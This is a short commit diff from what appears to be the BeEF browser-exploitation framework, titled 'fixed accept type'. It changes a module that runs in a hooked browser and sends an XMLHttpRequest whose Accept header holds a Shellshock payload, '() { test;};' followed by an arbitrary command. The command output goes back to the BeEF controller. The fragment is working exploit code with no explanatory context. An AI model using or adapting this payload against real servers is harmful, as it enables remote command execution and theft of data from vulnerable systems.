fixed accept type
This commit is contained in:
@@ -18,7 +18,7 @@ beef.execute(function () {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
|
||||
}
|
||||
}
|
||||
xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: application/xml\"; echo; echo; " + command);
|
||||
xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command);
|
||||
xhr.send(null);
|
||||
}
|
||||
catch (e){
|
||||
|
||||
Reference in New Issue
Block a user